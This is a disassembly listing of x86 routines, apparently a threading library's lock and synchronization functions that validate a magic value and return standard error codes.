--------------------------------------------------------------------------- loc_432360: ; CODE XREF: ___:00401951j sub esp, 0Ch push ebp push esi mov esi, [esp+18h] push edi test esi, esi jz loc_432461 mov eax, [esi] test eax, eax jz loc_432461 cmp eax, 0FFFFFFFFh jnz short loc_432397 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_432397 cmp eax, 10h jnz loc_432466 loc_432397: ; CODE XREF: ___:0043237Fj ; ___:0043238Cj mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_432461 mov edi, [esp+20h] push edi push esi call sub_401BC2 add esp, 8 test eax, eax jnz loc_432466 lea ebp, [esi+4] push edi push ebp call sub_401BC2 mov edi, eax add esp, 8 test edi, edi jz short loc_4323E1 push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_4323E1: ; CODE XREF: ___:004323CDj mov eax, [esi+10h] test eax, eax jnz short loc_432455 mov eax, [esi+14h] test eax, eax jle short loc_4323FE mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_4323FE: ; CODE XREF: ___:004323EDj mov eax, [esi+0Ch] test eax, eax jle short loc_432455 neg eax push ebx mov [esi+14h], eax push esi lea eax, [esp+14h] push offset sub_401852 push eax call sub_401659 ; --------------------------------------------------------------------------- add esp, 0Ch lea ebx, [esi+8] loc_432421: ; CODE XREF: ___:0043243Bj mov ecx, [esp+24h] push ecx push ebp push ebx call sub_4011E0 mov edi, eax add esp, 0Ch test edi, edi jnz short loc_43243D mov eax, [esi+14h] test eax, eax jl short loc_432421 loc_43243D: ; CODE XREF: ___:00432434j xor edx, edx test edi, edi setnz dl push edx call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test edi, edi pop ebx jnz short loc_432458 mov [esi+0Ch], edi loc_432455: ; CODE XREF: ___:004323E6j ; ___:00432403j inc dword ptr [esi+10h] loc_432458: ; CODE XREF: ___:00432450j mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_432461: ; CODE XREF: ___:0043236Cj ; ___:00432376j ... mov eax, 16h loc_432466: ; CODE XREF: ___:00432391j ; ___:004323B6j pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_4324C0: ; CODE XREF: ___:004015BEj mov eax, [esp+4] push ebx push esi push edi test eax, eax jz short loc_432546 mov esi, [eax] test esi, esi jz short loc_432546 cmp esi, 0FFFFFFFFh jnz short loc_4324DC pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_4324DC: ; CODE XREF: ___:004324D4j cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_432546 mov eax, [esi+10h] test eax, eax jnz short loc_432524 lea ebx, [esi+4] push ebx call sub_402225 mov edi, eax add esp, 4 test edi, edi jz short loc_432502 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432502: ; CODE XREF: ___:004324FCj mov eax, [esi+14h] inc eax mov [esi+14h], eax jnz short loc_432519 add esi, 8 push esi call sub_401E51 add esp, 4 mov edi, eax loc_432519: ; CODE XREF: ___:00432509j push ebx call sub_4010C3 add esp, 4 jmp short loc_43253C ; --------------------------------------------------------------------------- loc_432524: ; CODE XREF: ___:004324EAj dec eax mov [esi+10h], eax lea eax, [esi+4] push eax call sub_4010C3 push esi mov edi, eax call sub_4010C3 add esp, 8 loc_43253C: ; CODE XREF: ___:00432522j test edi, edi jz short loc_43254B mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432546: ; CODE XREF: ___:004324C9j ; ___:004324CFj ... mov eax, 16h loc_43254B: ; CODE XREF: ___:0043253Ej pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_432580: ; CODE XREF: ___:00401532j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_43263A mov eax, [esi] test eax, eax jz loc_43263A cmp eax, 0FFFFFFFFh jnz short loc_4325B4 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_4325B4 cmp eax, 10h jnz loc_43263F loc_4325B4: ; CODE XREF: ___:0043259Cj ; ___:004325A9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_43263A push esi call sub_40177B add esp, 4 test eax, eax jnz short loc_43263F mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_43262D lea edi, [esi+4] push edi call sub_402225 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_4325FD push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4325FD: ; CODE XREF: ___:004325ECj mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_43262D push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43262D: ; CODE XREF: ___:004325DAj ; ___:0043261Cj push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43263A: ; CODE XREF: ___:00432589j ; ___:00432593j ... mov eax, 16h loc_43263F: ; CODE XREF: ___:004325AEj ; ___:004325CAj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_432690: ; CODE XREF: ___:00401FD2j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_432771 mov eax, [esi] test eax, eax jz loc_432771 cmp eax, 0FFFFFFFFh jnz short loc_4326C4 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_4326C4 cmp eax, 10h jnz loc_432776 loc_4326C4: ; CODE XREF: ___:004326ACj ; ___:004326B9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_432771 push esi call sub_40177B add esp, 4 test eax, eax jnz loc_432776 lea ebx, [esi+4] push ebx call sub_40177B mov edi, eax add esp, 4 test edi, edi jz short loc_432709 push esi call sub_4010C3 add esp, 4 test eax, eax jnz short loc_432776 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432709: ; CODE XREF: ___:004326F4j mov eax, [esi+10h] test eax, eax jnz short loc_432759 mov eax, [esi+14h] test eax, eax jle short loc_432726 mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_432726: ; CODE XREF: ___:00432715j mov eax, [esi+0Ch] test eax, eax jle short loc_432764 push ebx call sub_4010C3 add esp, 4 mov edi, eax test edi, edi push esi jz short loc_43274B call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43274B: ; CODE XREF: ___:0043273Bj call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jnz short loc_43275E loc_432759: ; CODE XREF: ___:0043270Ej mov edi, 10h loc_43275E: ; CODE XREF: ___:00432757j mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432764: ; CODE XREF: ___:0043272Bj mov eax, edi mov dword ptr [esi+10h], 1 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432771: ; CODE XREF: ___:00432699j ; ___:004326A3j ... mov eax, 16h loc_432776: ; CODE XREF: ___:004326BEj ; ___:004326DEj ... pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_4327C0: ; CODE XREF: ___:00401BF9j mov eax, [esp+4] push eax call sub_4012B7 add esp, 4 test eax, eax jz short loc_4327D7 mov eax, 16h retn ; --------------------------------------------------------------------------- loc_4327D7: ; CODE XREF: ___:004327CFj mov eax, [esp+8] neg eax sbb eax, eax and eax, 30h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432800: ; CODE XREF: ___:00401E97j mov eax, [esp+4] push eax call sub_4012B7 add esp, 4 test eax, eax jnz short loc_432827 mov eax, [esp+8] test eax, eax jz short loc_432827 cmp eax, 2 jbe short loc_432827 mov dword ptr [eax], 0 xor eax, eax retn ; --------------------------------------------------------------------------- loc_432827: ; CODE XREF: ___:0043280Fj ; ___:00432817j ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432840: ; CODE XREF: ___:0040117Cj push ebx mov ebx, [esp+8] push esi push edi push ebx call sub_4012B7 add esp, 4 test eax, eax jnz short loc_432886 mov edi, [esp+14h] test edi, edi jz short loc_432886 mov esi, [edi] push eax call sub_40154B add esp, 4 cmp esi, eax jl short loc_432886 push 0 call sub_401438 add esp, 4 cmp esi, eax jg short loc_432886 mov eax, [ebx] mov ecx, [edi] pop edi pop esi mov [eax+10h], ecx xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_432886: ; CODE XREF: ___:00432852j ; ___:0043285Aj ... pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4328B0: ; CODE XREF: ___:00401EDDj push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jnz short loc_4328D5 mov eax, [esp+0Ch] test eax, eax jz short loc_4328D5 mov ecx, [esi] pop esi mov edx, [ecx+10h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_4328D5: ; CODE XREF: ___:004328C0j ; ___:004328C8j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4328F0: ; CODE XREF: ___:004015B4j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_432909 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_432909: ; CODE XREF: ___:00432900j mov eax, [esp+0Ch] test eax, eax jz short loc_43291D cmp eax, 1 jz short loc_43291D mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_43291D: ; CODE XREF: ___:0043290Fj ; ___:00432914j mov ecx, [esi] pop esi mov [ecx+14h], eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432940: ; CODE XREF: ___:004019D8j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jnz short loc_432965 mov eax, [esp+0Ch] test eax, eax jz short loc_432965 mov ecx, [esi] pop esi mov edx, [ecx+14h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_432965: ; CODE XREF: ___:00432950j ; ___:00432958j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432980 proc near ; CODE XREF: sub_401050j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401758 add esp, 8 test eax, eax jnz short loc_4329C5 mov eax, [esp+4+arg_4] test eax, eax jl short loc_4329C0 cmp eax, 2 jg short loc_4329C0 test eax, eax jz short loc_4329AC mov eax, 30h pop esi retn ; --------------------------------------------------------------------------- loc_4329AC: ; CODE XREF: sub_432980+23j mov eax, [esp+4+arg_8] mov ecx, [eax] push ecx push 0 push esi call sub_4020B3 add esp, 0Ch pop esi retn ; --------------------------------------------------------------------------- loc_4329C0: ; CODE XREF: sub_432980+1Aj ; sub_432980+1Fj mov eax, 16h loc_4329C5: ; CODE XREF: sub_432980+12j pop esi retn sub_432980 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4329F0 proc near ; CODE XREF: sub_4020B3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi mov edi, [esp+8+arg_4] push edi mov [esp+0Ch+arg_8], esi call sub_40154B add esp, 4 cmp esi, eax jl loc_432A95 push edi call sub_401438 add esp, 4 cmp esi, eax jg short loc_432A95 cmp esi, 0FFFFFFF1h jle short loc_432A30 cmp esi, 0FFFFFFFEh jge short loc_432A30 mov [esp+8+arg_8], 0FFFFFFFEh jmp short loc_432A42 ; --------------------------------------------------------------------------- loc_432A30: ; CODE XREF: sub_4329F0+2Fj ; sub_4329F0+34j cmp esi, 0Fh jge short loc_432A42 cmp esi, 2 jle short loc_432A42 mov [esp+8+arg_8], 2 loc_432A42: ; CODE XREF: sub_4329F0+3Ej ; sub_4329F0+43j ... mov edi, [esp+8+arg_0] push ebx push ebp lea ebp, [edi+24h] push ebp call sub_402225 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_432A8E mov eax, [esp+10h+arg_8] mov ecx, [edi+4] push eax push ecx nop call near ptr 274068Ah test eax, eax jnz short loc_432A82 push ebp mov ebx, 16h call sub_4010C3 add esp, 4 mov eax, ebx pop ebp pop ebx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_432A82: ; CODE XREF: sub_4329F0+7Bj push ebp mov [edi+28h], esi call sub_4010C3 add esp, 4 loc_432A8E: ; CODE XREF: sub_4329F0+68j mov eax, ebx pop ebp pop ebx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_432A95: ; CODE XREF: sub_4329F0+19j ; sub_4329F0+2Aj pop edi mov eax, 16h pop esi retn sub_4329F0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432AD0 proc near ; CODE XREF: sub_40218Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401758 add esp, 8 test eax, eax jnz short loc_432B09 mov ecx, [esp+4+arg_4] cmp ecx, 2 jbe short loc_432B04 mov eax, [esp+4+arg_8] test eax, eax jz short loc_432B04 mov dword ptr [ecx], 0 mov ecx, [esi+28h] mov [eax], ecx xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_432B04: ; CODE XREF: sub_432AD0+1Bj ; sub_432AD0+23j mov eax, 16h loc_432B09: ; CODE XREF: sub_432AD0+12j pop esi retn sub_432AD0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432B20 proc near ; CODE XREF: sub_401438j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jl short loc_432B33 cmp eax, 2 jg short loc_432B33 mov eax, 0Fh retn ; --------------------------------------------------------------------------- loc_432B33: ; CODE XREF: sub_432B20+6j ; sub_432B20+Bj nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_432B20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432B60 proc near ; CODE XREF: sub_40154Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jl short loc_432B73 cmp eax, 2 jg short loc_432B73 mov eax, 0FFFFFFF1h retn ; --------------------------------------------------------------------------- loc_432B73: ; CODE XREF: sub_432B60+6j ; sub_432B60+Bj nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_432B60 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432BA0: ; CODE XREF: ___:00401AC8j push esi mov esi, [esp+8] test esi, esi jz short loc_432BE5 nop call near ptr 2740627h cmp esi, eax jz short loc_432BE5 push esi push 0 push 200h call near ptr 2790000h nop test eax, eax jnz short loc_432BE5 call near ptr 27C0896h nop mov esi, eax sub esi, 5 neg esi sbb esi, esi and esi, 2 inc esi call near ptr 77C1F2BCh nop mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432BE5: ; CODE XREF: ___:00432BA7j ; ___:00432BB1j ... mov eax, [esp+0Ch] test eax, eax jz short loc_432BFE call near ptr 77C1F2BCh nop mov dword ptr [eax], 28h or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432BFE: ; CODE XREF: ___:00432BEBj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_432C30: ; CODE XREF: ___:0040150Aj push esi mov esi, [esp+8] test esi, esi jz short loc_432C75 nop call near ptr 2740627h cmp esi, eax jz short loc_432C75 push esi push 0 push 400h nop call near ptr 2790000h test eax, eax jnz short loc_432C75 call near ptr 27C0896h nop mov esi, eax sub esi, 5 neg esi sbb esi, esi and esi, 2 inc esi call near ptr 77C1F2BCh nop mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432C75: ; CODE XREF: ___:00432C37j ; ___:00432C41j ... xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_432CA0: ; CODE XREF: ___:00401B4Aj push 0 nop call near ptr 2850303h xor eax, eax retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432CC0 proc near ; CODE XREF: sub_401C76j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi xor edi, edi test eax, eax jz short loc_432CDF mov edi, 1 call near ptr 77C1F2BCh nop mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432CDF: ; CODE XREF: sub_432CC0+Aj push 4 push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_432CF7 mov edi, 0Ch loc_432CF7: ; CODE XREF: sub_432CC0+30j mov eax, [esp+8+arg_8] push 0 push 3FFFFFFFh push eax push 0 nop call near ptr 2740000h test eax, eax mov [esi], eax jnz short loc_432D24 mov edi, 1Ch call near ptr 77C1F2BCh nop mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432D24: ; CODE XREF: sub_432CC0+4Fj test edi, edi jz short loc_432D36 nop call near ptr 77C1F2BCh mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432D36: ; CODE XREF: sub_432CC0+66j mov ecx, [esp+8+arg_0] pop edi xor eax, eax mov [ecx], esi pop esi retn sub_432CC0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432D80 proc near ; CODE XREF: sub_401686j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] test edi, edi jz short loc_432DA5 mov esi, [edi] test esi, esi jz short loc_432DA5 mov dword ptr [edi], 0 mov eax, [esi] push eax nop call near ptr 2860000h test eax, eax jnz short loc_432DB7 mov [edi], esi loc_432DA5: ; CODE XREF: sub_432D80+8j ; sub_432D80+Ej call near ptr 77C1F2BCh nop mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432DB7: ; CODE XREF: sub_432D80+21j push esi nop call near ptr 77C2C21Bh add esp, 4 xor eax, eax pop edi pop esi retn sub_432D80 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432DF0 proc near ; CODE XREF: sub_4010A5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi test eax, eax jz short loc_432E23 mov eax, [eax] test eax, eax jz short loc_432E23 mov eax, [eax] push 0 push eax nop call near ptr 277044Ch cmp eax, 102h jnz short loc_432E35 mov esi, 0Bh call near ptr 77C1F2BCh nop mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432E23: ; CODE XREF: sub_432DF0+7j ; sub_432DF0+Dj mov esi, 16h call near ptr 77C1F2BCh nop mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432E35: ; CODE XREF: sub_432DF0+1Fj xor eax, eax pop esi retn sub_432DF0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432E60 proc near ; CODE XREF: sub_401041j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi test eax, eax jz short loc_432E8D mov eax, [eax] test eax, eax jz short loc_432E8D mov eax, [eax] push eax call sub_401640 ; --------------------------------------------------------------------------- db 8Bh dd 4C483F0h, 1F74F685h, 7EC437E8h, 30899077h, 5EFFC883h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_432E8D: ; CODE XREF: sub_432E60+7j ; sub_432E60+Dj mov esi, 16h nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn sub_432E60 endp ; --------------------------------------------------------------------------- xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432ED0 proc near ; CODE XREF: sub_401898j var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 0Ch push ebp mov ebp, [esp+10h+arg_0] test ebp, ebp push esi jnz short loc_432EF3 mov esi, 16h call near ptr 77C1F2BCh nop mov [eax], esi pop esi or eax, 0FFFFFFFFh pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_432EF3: ; CODE XREF: sub_432ED0+Bj push ebx push edi mov edi, [esp+1Ch+arg_4] test edi, edi jnz short loc_432F02 or ebx, 0FFFFFFFFh jmp short loc_432F61 ; --------------------------------------------------------------------------- loc_432F02: ; CODE XREF: sub_432ED0+2Bj lea eax, [esp+1Ch+var_C] xor ebx, ebx push eax nop call near ptr 77C49113h mov ecx, [edi] mov esi, [esp+20h+var_C] add esp, 4 cmp ecx, esi jl short loc_432F61 mov edx, [edi+4] mov eax, 431BDE83h add edx, 7A120h mul edx lea eax, [ecx+ecx*4] lea ecx, [esi+esi*4] shr edx, 12h lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] shl ecx, 3 lea eax, [edx+eax*8] sub eax, ecx mov ecx, [esp+1Ch+var_8] and ecx, 0FFFFh cmp eax, ecx jbe short loc_432F61 sub eax, ecx mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_432F61 dec ebx loc_432F61: ; CODE XREF: sub_432ED0+30j ; sub_432ED0+4Aj ... mov edx, [ebp+0] push ebx mov eax, [edx] push eax call sub_401D70 sub_432ED0 endp ; --------------------------------------------------------------------------- db 83h, 0C4h, 8 dd 0F685F08Bh, 11745B5Fh, 0C33EE890h, 3089777Eh, 0FFC8835Eh dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h, 3 dup(90909090h) dd 10h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_432FE0 proc near ; CODE XREF: sub_40103Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_432FFF mov eax, [eax] test eax, eax jz short loc_432FFF mov eax, [eax] push 0 push 1 push eax nop call near ptr 2730D2Bh test eax, eax jnz short loc_43300F loc_432FFF: ; CODE XREF: sub_432FE0+6j ; sub_432FE0+Cj nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_43300F: ; CODE XREF: sub_432FE0+1Dj xor eax, eax retn sub_432FE0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433030 proc near ; CODE XREF: sub_40204Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] test eax, eax jz short loc_433056 mov eax, [eax] test eax, eax jz short loc_433056 mov ecx, [esp+arg_4] test ecx, ecx jle short loc_433056 mov eax, [eax] push 0 push ecx push eax nop call near ptr 2730D2Bh test eax, eax jnz short loc_433066 loc_433056: ; CODE XREF: sub_433030+6j ; sub_433030+Cj ... nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_433066: ; CODE XREF: sub_433030+24j xor eax, eax retn sub_433030 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433080: ; CODE XREF: ___:00401433j mov eax, [esp+4] push esi test eax, eax push edi jz short loc_4330CD mov esi, [eax] test esi, esi jz short loc_4330CD mov edi, [esp+10h] test edi, edi jz short loc_4330CD mov eax, [esi] push 0 push eax call near ptr 277044Ch nop cmp eax, 102h jnz short loc_4330B1 xor eax, eax mov [edi], eax pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4330B1: ; CODE XREF: ___:004330A8j mov edx, [esi] lea ecx, [esp+0Ch] push ecx push 1 push edx nop call near ptr 2730D2Bh mov eax, [esp+0Ch] inc eax mov [edi], eax pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4330CD: ; CODE XREF: ___:00433088j ; ___:0043308Ej ... nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433100: ; CODE XREF: ___:0040220Cj call near ptr 77C1F2BCh nop mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433120: ; CODE XREF: ___:00402013j nop call near ptr 77C1F2BCh mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433140: ; CODE XREF: ___:00401CB2j nop call near ptr 77C1F2BCh mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433160 proc near ; CODE XREF: sub_401992j arg_0 = dword ptr 4 push esi push offset dword_50E980 xor esi, esi call near ptr 7C901005h nop mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_433194 push esi push ecx call sub_4021EE add esp, 8 mov esi, eax push offset dword_50E980 call near ptr 7C9010EDh nop mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_433194: ; CODE XREF: sub_433160+17j test eax, eax jnz short loc_43319D mov esi, 16h loc_43319D: ; CODE XREF: sub_433160+36j push offset dword_50E980 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_433160 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4331D0 proc near ; CODE XREF: sub_4021EEj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push ebp mov ebp, [esp+0Ch+arg_0] push esi push edi xor edi, edi cmp ebp, edi mov [esp+14h+var_4], edi jnz short loc_4331EE pop edi pop esi pop ebp mov eax, 16h pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4331EE: ; CODE XREF: sub_4331D0+11j lea eax, [esp+14h+var_4] push eax call sub_401C26 mov ebx, [esp+18h+arg_4] add esp, 4 test eax, eax jz short loc_433229 mov [esp+14h+var_4], 1 loc_43320B: ; CODE XREF: sub_4331D0+5Ej ; sub_4331D0+63j push 8 push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_433240 pop edi pop esi pop ebp mov eax, 0Ch pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_433229: ; CODE XREF: sub_4331D0+31j cmp [esp+14h+var_4], 1 jle short loc_43320B cmp ebx, 1 jnz short loc_43320B pop edi pop esi pop ebp mov eax, 28h pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_433240: ; CODE XREF: sub_4331D0+4Cj mov eax, [esp+14h+var_4] cmp eax, 1 jle short loc_43325D mov [esi+4], eax mov dword ptr [esi], 1 mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_43325D: ; CODE XREF: sub_4331D0+77j lea ecx, [esp+14h+arg_0] push ecx call sub_401A0F mov edi, eax add esp, 4 test edi, edi jnz short loc_433293 mov edx, [esp+14h+arg_0] lea eax, [esp+14h+arg_0] lea ecx, [esi+4] push eax push ecx mov [edx], ebx call sub_402199 mov edi, eax add esp, 8 test edi, edi jnz short loc_433293 mov dword ptr [esi], 3 loc_433293: ; CODE XREF: sub_4331D0+9Ej ; sub_4331D0+BBj lea edx, [esp+14h+arg_0] push edx call sub_4010AA add esp, 4 test edi, edi jnz short loc_4332AF mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4332AF: ; CODE XREF: sub_4331D0+D2j push esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, edi mov dword ptr [ebp+0], 0 pop edi pop esi pop ebp pop ebx pop ecx retn sub_4331D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_433310: ; 